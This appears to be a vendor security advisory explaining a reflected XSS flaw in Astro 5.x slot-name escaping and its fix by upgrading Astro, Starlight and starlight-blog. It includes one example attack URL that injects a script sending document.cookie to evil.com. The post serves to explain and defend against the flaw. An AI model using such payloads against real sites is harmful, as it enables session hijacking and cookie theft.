How Reflected XSS happens in Astro and how to fix it

How Reflected XSS Happens in Astro and How to Fix It

The Vulnerability at a Glance

Introduction

The pnpm-lock.yaml file in this project pinned Astro to version 5.18.1 — a version that Trivy's vulnerability database now flags as containing a reflected XSS flaw. CVE-2026-50146 describes a scenario where unescaped slot names in Astro components are written directly into rendered HTML, giving an attacker a vector to inject arbitrary JavaScript into a visitor's browser session simply by crafting a malicious URL.

For developers building documentation sites, marketing pages, or any public-facing Astro application, this is a concrete reminder that framework-level output encoding is not always a given — and that dependency pinning without regular updates can quietly accumulate exploitable risk.

The Vulnerability Explained

What Are Slot Names in Astro?

Astro's component model supports named slots, which allow parent components to inject content into specific regions of a child component. A slot might be referenced like this:

<!-- Parent -->
<MyLayout>
  <article slot="main-content">Hello world</article>
</MyLayout>

The slot attribute value ("main-content" in this case) is used internally by Astro's rendering engine to route content. In Astro 5.x, the code path that handles these slot names did not apply HTML escaping before writing the name into the rendered output.

The Vulnerable Code Path

While the slot-name escaping bug lives inside Astro's own internals (not directly in the application's source files), the vulnerability is surfaced through the locked dependency in pnpm-lock.yaml:

# BEFORE (vulnerable)
astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

Any Astro component that renders a slot whose name is derived from — or reflected back from — a URL parameter, query string, or other user-controlled input would pass that value through the unescaped rendering pipeline.

How an Attacker Exploits This

Consider a documentation site (exactly the kind of site that @astrojs/starlight and starlight-blog are built for) that constructs a slot name dynamically based on a URL fragment or query parameter for tab-based navigation:

---
// Simplified illustration of the vulnerable pattern
const activeTab = Astro.url.searchParams.get('tab') ?? 'overview';
---
<TabLayout>
  <section slot={activeTab}>...</section>
</TabLayout>

With Astro 5.x's unescaped slot handling, an attacker could craft a URL like:

https://docs.example.com/guide?tab="><script>document.location='https://evil.com/steal?c='+document.cookie</script>

Astro would render the slot name verbatim into the HTML output. When a victim clicks that link, the injected <script> tag executes in their browser — stealing session cookies, redirecting to phishing pages, or performing actions on their behalf.

Real-World Impact

For a documentation or blog site powered by @astrojs/starlight and starlight-blog:

• Session hijacking: Authentication cookies sent to an attacker-controlled server.
• Credential phishing: A fake login overlay injected over the legitimate page.
• Malware distribution: The attacker redirects visitors to a drive-by download.
• Reputation damage: Users associate the injected content with the legitimate site.

Because this is reflected XSS (not stored), it requires social engineering to deliver the malicious URL — but phishing campaigns, shortened URLs, and SEO poisoning all make that a realistic threat.

The Fix

What Changed

The fix is a targeted dependency upgrade across two files — package.json and pnpm-lock.yaml — bumping three interrelated packages to versions that include the escaping fix:

Before and After

package.json — Before:

{
  "dependencies": {
    "@astrojs/starlight": "^0.37.6",
    "astro": "^5.6.1",
    "starlight-blog": "^0.25.2"
  }
}

package.json — After:

{
  "dependencies": {
    "@astrojs/starlight": "^0.38.0",
    "astro": "^6.3.3",
    "starlight-blog": "^0.26.0"
  }
}

pnpm-lock.yaml — Before:

astro:
  specifier: ^5.6.1
  version: 5.18.1(@types/node@24.12.0)(rollup@4.60.0)(typescript@5.9.3)

'@astrojs/starlight':
  specifier: ^0.37.6
  version: 0.37.7(astro@5.18.1(...))

starlight-blog:
  specifier: ^0.25.2
  version: 0.25.3(@astrojs/starlight@0.37.7(...))(astro@5.18.1(...))

pnpm-lock.yaml — After:

astro:
  specifier: ^6.3.3
  version: 6.3.3(@types/node@24.12.0)(rollup@4.60.0)

'@astrojs/starlight':
  specifier: ^0.38.0
  version: 0.38.5(astro@6.3.3(...))

starlight-blog:
  specifier: ^0.26.0
  version: 0.26.1(@astrojs/starlight@0.38.5(...))(astro@6.3.3(...))

Why All Three Packages?

@astrojs/starlight and starlight-blog are peer-dependent on a specific major version of Astro. Upgrading Astro to v6 required upgrading both companion packages to their v6-compatible releases. This is a common pattern in the Astro ecosystem — the lock file's peer-dependency resolution chains mean you can't safely upgrade one without the others.

The change is deliberately minimal in scope: only the three packages on the vulnerable dependency path were updated. No application logic, configuration, or content was modified, preserving existing behavior for all valid inputs.

Key Takeaways

• Astro 5.x did not escape slot names before rendering — any dynamic slot name derived from user input was a reflected XSS vector.
• pnpm-lock.yaml is a security artifact, not just a reproducibility tool. Scanning it with Trivy revealed the vulnerable 5.18.1 pin immediately.
• Upgrading Astro from 5.18.1 to 6.3.3 resolves CVE-2026-50146 by fixing the escaping logic inside the framework's rendering pipeline.
• Peer-dependency chains matter: bumping Astro's major version required co-upgrading @astrojs/starlight (0.37.7 → 0.38.5) and starlight-blog (0.25.3 → 0.26.1) to maintain compatibility.
• Reflected XSS in documentation sites is a real threat — these sites are publicly indexed, widely linked, and often trusted by developers who might be logged in to related services.

How Orbis AppSec Detected This

• Source: The attacker-controlled value enters via a crafted URL — specifically through slot name values that Astro's 5.x rendering pipeline reflected without escaping.
• Sink: Astro's internal slot-name rendering code in version 5.18.1, which wrote the unescaped slot identifier directly into the HTML output delivered to the browser.
• Missing control: HTML entity encoding / output escaping was absent for slot name values in Astro's component rendering path prior to version 6.3.3.
• CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
• Fix: Upgraded astro from 5.18.1 to 6.3.3 in pnpm-lock.yaml and package.json, which introduces proper escaping of slot names in the rendering pipeline.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-50146 is a sharp reminder that framework internals are part of your attack surface. You don't have to write eval() or innerHTML yourself to introduce XSS — a version of Astro that doesn't escape slot names is enough. The fix here is clean and contained: two files changed, three packages bumped, zero behavior change for legitimate users.

The broader lesson is that dependency scanning belongs in every CI pipeline, and lock files deserve the same security scrutiny as hand-written code. A single Trivy scan of pnpm-lock.yaml was all it took to surface this HIGH-severity issue before it could be exploited.